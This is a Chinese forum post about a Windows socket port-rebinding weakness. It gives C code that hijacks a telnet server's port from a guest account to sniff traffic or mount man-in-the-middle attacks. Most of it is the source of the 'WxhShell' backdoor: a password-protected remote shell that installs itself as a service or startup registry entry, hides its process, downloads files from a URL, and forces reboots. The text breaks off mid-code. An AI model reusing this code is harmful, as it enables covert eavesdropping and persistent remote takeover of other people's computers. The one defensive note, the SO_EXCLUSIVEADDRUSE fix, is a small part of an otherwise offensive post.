社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11642阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =vBxwa^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 67 >*AL  
94"R&|  
  saddr.sin_family = AF_INET; pU)wxv[~  
]>K%,}PS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7,ODh-?ez  
,dKcxp~[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5nzk Zw  
R% XbO~{u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HS| &["  
68R[Lc9q5  
  这意味着什么?意味着可以进行如下的攻击: .Vq-<c%  
XXacWdh \  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #X7fs5$&  
&ZFsK c#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n@w$5y1@  
:*TfGV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h,<%cvU=  
i Nf+ -C3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J=W"FEXTL7  
a;m-Vu!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &| el8;D  
HKx2QFB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R<)7,i`F  
YVZm^@ZVV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {$4fRxj  
6w<jg/5t  
  #include NMmk,  
  #include _QfA'32S  
  #include  Aki8#  
  #include     {[o=df/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xlkEW&N&  
  int main() ^ _KHw  
  { -gH1`*YL  
  WORD wVersionRequested; %1a\"F![  
  DWORD ret; f&B&!&gZ  
  WSADATA wsaData; U$6N-q  
  BOOL val; w<N [K>  
  SOCKADDR_IN saddr; mZJ"e,AY  
  SOCKADDR_IN scaddr; hT9fqH  
  int err; fLAOA9  
  SOCKET s; c3]ZU^  
  SOCKET sc; D_D<N(O  
  int caddsize; X'e@(I!0  
  HANDLE mt; 1Ah  
  DWORD tid;   &H;0N"Fn  
  wVersionRequested = MAKEWORD( 2, 2 ); G$:T!  
  err = WSAStartup( wVersionRequested, &wsaData ); ` :Am#"j]}  
  if ( err != 0 ) { Dms 6"x2  
  printf("error!WSAStartup failed!\n"); W1M<6T.{7  
  return -1; =:mD)oX*  
  } )P@t,mxW/  
  saddr.sin_family = AF_INET; |i7|QLUT  
   \kZxys!4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cF3V{b|bU  
y^=\w?d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &V$_u#<  
  saddr.sin_port = htons(23); (}vi"mCeW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )U e9:e  
  { > y"V%  
  printf("error!socket failed!\n"); aGx`ec*t  
  return -1; 5`*S'W}\>  
  } K+TRt"W8&s  
  val = TRUE; dGMBgj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I0sd%'Ht?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hq"i0X m  
  { { :'#Ts<  
  printf("error!setsockopt failed!\n"); `$SX%AZA  
  return -1; )FGm5-K@  
  } Y~hBVz2g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w_q{C>- cR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DzYi> E:*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5X4; (Qj  
/=A^@&:_#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6pM[.:TM   
  { R8Nr3M9 )  
  ret=GetLastError(); _dVzvk`_R  
  printf("error!bind failed!\n"); ?d0I*bs)7  
  return -1; :% )va  
  } yYwZZa1  
  listen(s,2); b;`gxXeL  
  while(1) lhva|  
  { bEyZRG  
  caddsize = sizeof(scaddr); &z8@  rk|  
  //接受连接请求 ,]\L\ V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NGtSC_~d  
  if(sc!=INVALID_SOCKET) $(K[W}  
  { puA~}6C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CWdA8)n.  
  if(mt==NULL) %WiDz0o  
  { 5Jh=${  
  printf("Thread Creat Failed!\n"); ='a[(C&Y  
  break; e<6fe-g9;  
  } <xOXuve  
  } ({i}EC7{  
  CloseHandle(mt); ,<0R'R  
  } XT> u/Z)  
  closesocket(s); !E8y!|7$  
  WSACleanup(); v\PqhIy"  
  return 0; A}?n.MAX>  
  }   zs:O HEZw  
  DWORD WINAPI ClientThread(LPVOID lpParam) :{bvCos<)  
  { #mLF6 "A  
  SOCKET ss = (SOCKET)lpParam; IWERn v!  
  SOCKET sc; .(^KA{  
  unsigned char buf[4096]; b^_#f:_j  
  SOCKADDR_IN saddr; A^nB!veh  
  long num; SB0Cq  
  DWORD val; =7wI/5iN  
  DWORD ret; l8 k@.<nCO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tSran  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9`]Gosz  
  saddr.sin_family = AF_INET; ~VYZu=p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cw|3W]  
  saddr.sin_port = htons(23); *UhYX)J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uOUgU$%zqH  
  { UJMM&  
  printf("error!socket failed!\n"); s.`:9nj  
  return -1; t>"UenJt-  
  } P|HxD0c^u  
  val = 100; e=&,jg?K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Q ba4kgL  
  { `ECT8  
  ret = GetLastError(); ZmeSm& hQ_  
  return -1; _rt+OzZ*L  
  } hAX@|G.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jL o(Uf  
  { >?>@&A/  
  ret = GetLastError(); r0t4\d_&  
  return -1; ^=`7]E[p  
  } 1=:=zyEEo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $X<O\Kna  
  { l*~O;do  
  printf("error!socket connect failed!\n"); W|h~&O  
  closesocket(sc); dJxdrs  
  closesocket(ss); qM78s>\-h  
  return -1; m_YXTwwx  
  } ~SUrbRaY>  
  while(1) z#9Tg"8]  
  { }zC9;R(E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U|SF;T .  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n'*4zxAA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S"hA@j  
  num = recv(ss,buf,4096,0); )tYu3*'  
  if(num>0) 4FrP%|%E~  
  send(sc,buf,num,0); 8*o*?1.  
  else if(num==0) 9/2VU< K  
  break; AB(WK9o  
  num = recv(sc,buf,4096,0); =2v/f_  
  if(num>0) -#@l`kt  
  send(ss,buf,num,0); Z 0&=Lw  
  else if(num==0) EMy>X  
  break; @'n07 5)h  
  } /c2| *"@X  
  closesocket(ss); JC6?*R  
  closesocket(sc); d8D028d  
  return 0 ; =D-u".{  
  } =T"R_3[NC  
cG!\P:re  
D2}N6i  
========================================================== Nini8@d  
pGZiADT  
下边附上一个代码,,WXhSHELL ZtHTl\z  
]q^6az(Ud  
========================================================== ? nx3# <  
+}3l$L'bY  
#include "stdafx.h" u7||]|2  
E;v#'  
#include <stdio.h> 9u[^9tL+D  
#include <string.h> xf2|9Tqt  
#include <windows.h> FgwIOpqE*  
#include <winsock2.h> yuP1*QJ%  
#include <winsvc.h> 1N\/61+aA  
#include <urlmon.h> rfo7\'yk  
m&S *S_c  
#pragma comment (lib, "Ws2_32.lib") b5i ehoA  
#pragma comment (lib, "urlmon.lib") EKu%I~eM  
[G!#y  
#define MAX_USER   100 // 最大客户端连接数 _43'W{%  
#define BUF_SOCK   200 // sock buffer lV%oIf[OB  
#define KEY_BUFF   255 // 输入 buffer Ymvd3>_  
a+mrsyM  
#define REBOOT     0   // 重启 _:+hB9n s  
#define SHUTDOWN   1   // 关机 p~Wy`g-  
 'ug:ic  
#define DEF_PORT   5000 // 监听端口 W kP`qD3  
L2\<iJA}c  
#define REG_LEN     16   // 注册表键长度 +H{TV#+r  
#define SVC_LEN     80   // NT服务名长度 [D%(Y ~2  
^(F@#zN}  
// 从dll定义API '`s+e#rs4{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jK^Q5iD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X!xmto  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gN@|lHbU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k~%j"%OB  
Am ~P$dN  
// wxhshell配置信息 B,S~Idr}  
struct WSCFG { gwGw  
  int ws_port;         // 监听端口 &9Kni/  
  char ws_passstr[REG_LEN]; // 口令 -UB XWl  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;cEoc(<?  
  char ws_regname[REG_LEN]; // 注册表键名 TJ_Wze-lQ  
  char ws_svcname[REG_LEN]; // 服务名 gpw,bV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %6.WGuO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X aE;i57$l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z ".Xroq~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .Gt_~x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6?(yMSKa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P,J+'.@  
Y_zMj`HE  
}; 'MgYSP<  
c/DK31K  
// default Wxhshell configuration O!G!Gq&  
struct WSCFG wscfg={DEF_PORT, &+5ij;AD  
    "xuhuanlingzhe", Q Yg V[\&  
    1, C4aAPkcp2$  
    "Wxhshell", xyD2<?dGUb  
    "Wxhshell", $c {fPFe-  
            "WxhShell Service", ~&< Ls  
    "Wrsky Windows CmdShell Service", g@2KnzD  
    "Please Input Your Password: ", E1j3c :2  
  1, 9?iA~r|+  
  "http://www.wrsky.com/wxhshell.exe", 5szJ.!(  
  "Wxhshell.exe" 0%<OwA2d  
    }; 6H1;Hl f  
F|jl=i  
// 消息定义模块 ri Z :#I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N7u|< 0[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y&<]:)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \RqH"HqD  
char *msg_ws_ext="\n\rExit."; W3zYE3DZf  
char *msg_ws_end="\n\rQuit."; h! Bg} B~  
char *msg_ws_boot="\n\rReboot..."; t"s$YB>}  
char *msg_ws_poff="\n\rShutdown..."; 9:E:3%%  
char *msg_ws_down="\n\rSave to "; h% eGtd$n  
I&U.5wf  
char *msg_ws_err="\n\rErr!"; Zg%tN#6y  
char *msg_ws_ok="\n\rOK!"; n:[@#xs-  
p#%*z~ui  
char ExeFile[MAX_PATH]; _\8jnpT:  
int nUser = 0; fK^W6)uuV  
HANDLE handles[MAX_USER]; >4#: qIU  
int OsIsNt; #w3J+U 6r  
'}^qz#w   
SERVICE_STATUS       serviceStatus; }Y^o("c(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7gcR/HNeF  
= GyABK  
// 函数声明 &]h`kvtBC  
int Install(void); OqWm5(u&S  
int Uninstall(void); YkFAu8b>  
int DownloadFile(char *sURL, SOCKET wsh); C*}PL  
int Boot(int flag); W#+f2 RR  
void HideProc(void); d_,Ql708f  
int GetOsVer(void); +%f6{&q$  
int Wxhshell(SOCKET wsl); ;W T<]  
void TalkWithClient(void *cs); f^-ot@w  
int CmdShell(SOCKET sock); ;F|#m,2Q-  
int StartFromService(void); km*Y#`{  
int StartWxhshell(LPSTR lpCmdLine); hVz] wKP  
DcNp-X40I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kY?tUpM!TB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,5V6=pr$  
%AN,cE*  
// 数据结构和表定义 >8ryA$  
SERVICE_TABLE_ENTRY DispatchTable[] = 'QQq0.  
{ ,k_"T.w  
{wscfg.ws_svcname, NTServiceMain}, q_6fr$-Qh  
{NULL, NULL} $%^](-  
}; Z($i+L%.  
GM8Q#vc  
// 自我安装 h% KEg667  
int Install(void) XG*> yra`  
{ qyxd9Lk1  
  char svExeFile[MAX_PATH]; t7xJ$^p[|K  
  HKEY key; m_;fj~m  
  strcpy(svExeFile,ExeFile); soLW'8  
q9dplEe5  
// 如果是win9x系统,修改注册表设为自启动 {i+ o'Lw  
if(!OsIsNt) { {sf ,(.W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HUMy\u84H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gV-*z}`U  
  RegCloseKey(key); u]Q}jqiq"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +;\w'dBi,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }K={HW1>  
  RegCloseKey(key); sE'c$H  
  return 0; b*(K;`9)B  
    } &XV9_{Hm  
  } =IW!ZN_  
} U3C"o|   
else { QJj='+R>  
N,Z*d  
// 如果是NT以上系统,安装为系统服务 4 ob?M:S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P6Y+ u  
if (schSCManager!=0) .^M#BAt2  
{ o">~ObR  
  SC_HANDLE schService = CreateService M(nzJ  
  (  ?HRS*  
  schSCManager, `Th~r&GvF  
  wscfg.ws_svcname, (6B;  
  wscfg.ws_svcdisp, 4D2U,Ds  
  SERVICE_ALL_ACCESS, OX'V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 78{9@\e"0  
  SERVICE_AUTO_START, 4BUG\~eI3  
  SERVICE_ERROR_NORMAL, n?nzm "g  
  svExeFile, v$0|\)E)  
  NULL, .8Bu%Sf  
  NULL, 9tU"+  
  NULL, Pjk2tf0j`  
  NULL, ^8EW/$k  
  NULL xxyc^\$  
  ); `u}_O(A1pA  
  if (schService!=0) mZ2CG O R  
  { :o' |%JE  
  CloseServiceHandle(schService); wgIm{;T[u  
  CloseServiceHandle(schSCManager); I5q $QQK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >I0;MNX  
  strcat(svExeFile,wscfg.ws_svcname); %VFoK-a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;-8.~Sm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dVYY:1PS  
  RegCloseKey(key); ,@c1X:  
  return 0; *1Bq>h:  
    } t VO}{[U}  
  } (D%vN&F  
  CloseServiceHandle(schSCManager); kmc_%Wm}  
} ~h_ _Y>  
} u.|%@  
J}&Us p  
return 1; ,{!,%]bC  
} qF4tjza;k  
"d:rPJT)(@  
// 自我卸载 vRH^en  
int Uninstall(void) 'KIT^k0"Ih  
{ C{}PO u  
  HKEY key; J{^md0l  
Mib .,J~  
if(!OsIsNt) { eM_;rMCr}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kBhjqI*  
  RegDeleteValue(key,wscfg.ws_regname); <zR{'7L/  
  RegCloseKey(key); OA*O =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cFw-JM<  
  RegDeleteValue(key,wscfg.ws_regname); SFRP ?s  
  RegCloseKey(key); Bkd$'7UT  
  return 0; w") G:K  
  } `v!. ,Yr  
} % Y%r2  
} p~@,zetS  
else { A!Cby!,  
3s/1\m%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L4Zt4Yuw  
if (schSCManager!=0) aSvv(iV  
{ !Ztqh Xr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aaig1#a@1b  
  if (schService!=0) u0Wt"d-=  
  { <HoCt8>U  
  if(DeleteService(schService)!=0) { l<w7 \a6  
  CloseServiceHandle(schService); o[cOL^Xd1  
  CloseServiceHandle(schSCManager); T/g\v?>  
  return 0; z^U+ oG  
  } +Q u.86dH  
  CloseServiceHandle(schService); LAlwQ^v|  
  } >Xk42zvqn  
  CloseServiceHandle(schSCManager); R|8vdZ%@  
} 6&os`!  
} {lWVH  
m;~}}~&vQ  
return 1; a5pl/d  
} vSR&>Q%X  
;:D-}t;  
// 从指定url下载文件 4`Ud\Jm[s  
int DownloadFile(char *sURL, SOCKET wsh) ?OFa Q  
{ 3/`BK{  
  HRESULT hr; (p{%]M  
char seps[]= "/"; 8In\Jo$|q>  
char *token; |-x-CSN  
char *file; n7fhc*}:`  
char myURL[MAX_PATH]; !CUl1L1DSi  
char myFILE[MAX_PATH]; 8{jXSCP#  
dhtH&:J< ;  
strcpy(myURL,sURL); Q4m> 3I  
  token=strtok(myURL,seps); ]UkH}Pt'3  
  while(token!=NULL) UE'=9{o`  
  { ?9()ya-TE  
    file=token; UON=7}=$&  
  token=strtok(NULL,seps); = g{I`u  
  } `f;w  
$_"u2"p  
GetCurrentDirectory(MAX_PATH,myFILE); t`z"=S  
strcat(myFILE, "\\"); j**[[  
strcat(myFILE, file); vHf)gi}O|  
  send(wsh,myFILE,strlen(myFILE),0); 6^gp /{  
send(wsh,"...",3,0); #"4ioTL2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -5b|nQuY  
  if(hr==S_OK) =@Oo3*>  
return 0; \:4*h  
else )k=KLQ\b  
return 1; :')[pO_FW*  
]gq)%T]  
} oh8:1E,I  
@e)}#kN.  
// 系统电源模块 f256;3n  
int Boot(int flag) cF8  2wg  
{ _/LGGt4&%  
  HANDLE hToken; f\hMTebma$  
  TOKEN_PRIVILEGES tkp; ]?4;Lw  
ie6 c/5  
  if(OsIsNt) { %*gf_GeM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J =^IS\m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =:&xdphZ+  
    tkp.PrivilegeCount = 1; .J75bX5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G x[ZHpy;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aj`&ca8  
if(flag==REBOOT) { fs ufYIf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8:{id>Mm^  
  return 0; 77@N79lqO  
} !"F;wg$  
else { ,/w*sE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y6v{eWtSn  
  return 0; vN{@c(=g  
} O=2|'L'h!  
  } I_<VGU k  
  else { 6j(/uF4!#  
if(flag==REBOOT) { vUpAW[[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g0grfGo2p  
  return 0; m;dwt1'Zw  
} ZIx-mC5  
else { P4[kW}R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >$ZG=&  
  return 0; '|IcL1c=I  
} l ;:IL\*1I  
} yNns6  
(t-hi8"  
return 1; f)*"X[)o  
} 6YM X7G]  
% Ln`c.C  
// win9x进程隐藏模块 6HY): M&?  
void HideProc(void)  aO&U=!  
{ 5%Qxx\q  
*2zp>(%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zgAU5cw  
  if ( hKernel != NULL ) (GmBv  
  { ^ j\LB23  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LL(xi )  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pp_ 4B  
    FreeLibrary(hKernel); 7S{qo&j'  
  } L"bJ#0m  
|owr?tC  
return; {zb'Z Yz  
} cZh0\Dy U  
.C^P6S2oJ  
// 获取操作系统版本 huC{SzXM  
int GetOsVer(void) +Ryj82;59z  
{ G WIsT\J  
  OSVERSIONINFO winfo; ;b{#$#`=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]pR?/3  
  GetVersionEx(&winfo); yLC[-.H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |o5eG><  
  return 1; [inlxJD  
  else >-MnB  
  return 0; WN'AQ~qA  
} $@z77td3  
U?0|2hR~  
// 客户端句柄模块 v+nXKNL  
int Wxhshell(SOCKET wsl) H~j@n!)  
{ jSem/;  
  SOCKET wsh; o+1 (N#?m9  
  struct sockaddr_in client; R:~aX,qR  
  DWORD myID; 8 1Kf X {|  
dtR"5TL<~}  
  while(nUser<MAX_USER) ['mpxtG  
{ k)b{ UFRW  
  int nSize=sizeof(client); ]\M{Abqd{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VIp|U{  
  if(wsh==INVALID_SOCKET) return 1; 9mi@PW}1  
] U>MYdGWb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ypyi(_G(?>  
if(handles[nUser]==0) oYu xkG  
  closesocket(wsh); |A3"Jc.2o  
else IBT>&(cnV  
  nUser++; T)zk2\u  
  } eft=k}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pQa51nc  
xTAfV N  
  return 0; Usf@kVQ  
} |Rf j 0+  
^?lpY{aa  
// 关闭 socket KTm^}')C8  
void CloseIt(SOCKET wsh) Cv,WG]E7(  
{ HJl?@& l/  
closesocket(wsh); 5sY $  
nUser--; ]KFh 1  
ExitThread(0); [5P-K{Ko  
} hY4#4A`I  
wC{sP"D  
// 客户端请求句柄 TZgtu+&  
void TalkWithClient(void *cs) E^-c,4'F  
{ "uBnK!  
\tgY2 :  
  SOCKET wsh=(SOCKET)cs; e4YfJd  
  char pwd[SVC_LEN]; @D9O<x  
  char cmd[KEY_BUFF]; zB%~=@Q^6  
char chr[1]; 31G:[;g  
int i,j; +~"IF+T RH  
Exw d,2>  
  while (nUser < MAX_USER) { JO|j?%6YY  
6(E4l5 %  
if(wscfg.ws_passstr) { Z 8w\[AF{$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K GgtEh|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \'y]mB~k  
  //ZeroMemory(pwd,KEY_BUFF);  7UBDd1  
      i=0; )w].m  
  while(i<SVC_LEN) { uc,>VzdB  
;u2[Ww~k  
  // 设置超时 Mq91HmC(@  
  fd_set FdRead; gN/!w:  
  struct timeval TimeOut; Q`bXsH  
  FD_ZERO(&FdRead); 5p.rd0T]l3  
  FD_SET(wsh,&FdRead); )?72 +X  
  TimeOut.tv_sec=8; eCI'<^  
  TimeOut.tv_usec=0; $oW= N   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *B&P[n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'dj3y/ k%  
J`5VE$2M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ika*w  
  pwd=chr[0]; :-x?g2MY  
  if(chr[0]==0xd || chr[0]==0xa) { ~ikp'5  
  pwd=0; ?6 2zv[#  
  break; hrniZ^  
  } v6)QLp  
  i++; xsZN@hT  
    } ?w/p 9j#  
| lLe^FM  
  // 如果是非法用户,关闭 socket g=td*S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M{L<aYe  
} 0L>3 i8'  
@ 51!3jeu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Oem1=QpaC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ulQ C  
`v?hL~  
while(1) { ho>@ $9  
!8p>4|VM  
  ZeroMemory(cmd,KEY_BUFF); s`x2Go  
e,s  S.  
      // 自动支持客户端 telnet标准   #. Dl1L/  
  j=0; k)knyEUi  
  while(j<KEY_BUFF) { nDn+lWA=g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gxhp7c182  
  cmd[j]=chr[0]; 'N{1b_v?  
  if(chr[0]==0xa || chr[0]==0xd) { 6O/L~Z*t  
  cmd[j]=0; ~;(\a@ _  
  break; cEHpa%_5  
  } IEm?'o:  
  j++; u/W{JPlL  
    } R V#w 0 r  
7b1 yF,N  
  // 下载文件 :+ YHj )mN  
  if(strstr(cmd,"http://")) { TD\TVK3P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .EhC\QpP  
  if(DownloadFile(cmd,wsh)) f?Ex$gnI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2@(+l*.Q  
  else *c#DB{N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .yF-<Y  
  } n*GB`I*g  
  else { MO ~T_6  
ywm"{ U? 8  
    switch(cmd[0]) { _U}|Le@ e  
  5{-Hg[+9  
  // 帮助 M0m%S:2  
  case '?': { A]"6/Lr9P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *effDNE!  
    break; yMW3mx301j  
  } -}@C9Ja[?  
  // 安装 ,% yC4  
  case 'i': { +!@xH];  
    if(Install()) dZ|bw0~_!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1N),k5I  
    else T \34<+n1N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d)48m}[:  
    break; 70avr)OM  
    } Cdl"TZ<  
  // 卸载 e`+  
  case 'r': { 6 w!qZ4$  
    if(Uninstall()) ="T}mc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -)J*(7F(6^  
    else tDAX pi(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .dzw5R&  
    break; 5@.8O VPz  
    } KUW )F  
  // 显示 wxhshell 所在路径 6+sz4  
  case 'p': { |vi=h2*  
    char svExeFile[MAX_PATH]; ?z`yNx6  
    strcpy(svExeFile,"\n\r"); v*excl~  
      strcat(svExeFile,ExeFile); KXTk.\c  
        send(wsh,svExeFile,strlen(svExeFile),0); hpOY&7QUTD  
    break; G} [$M"}  
    } G]l/L\{  
  // 重启 1 =?pL$+G  
  case 'b': { d >M0:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XPYf1H  
    if(Boot(REBOOT)) lN.&46 e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F\+9u$=  
    else { 6jr}l  
    closesocket(wsh); O0^Y1l  
    ExitThread(0); 1|*%  
    }  t":^:i'M  
    break; [9EL[}  
    } fpNq  
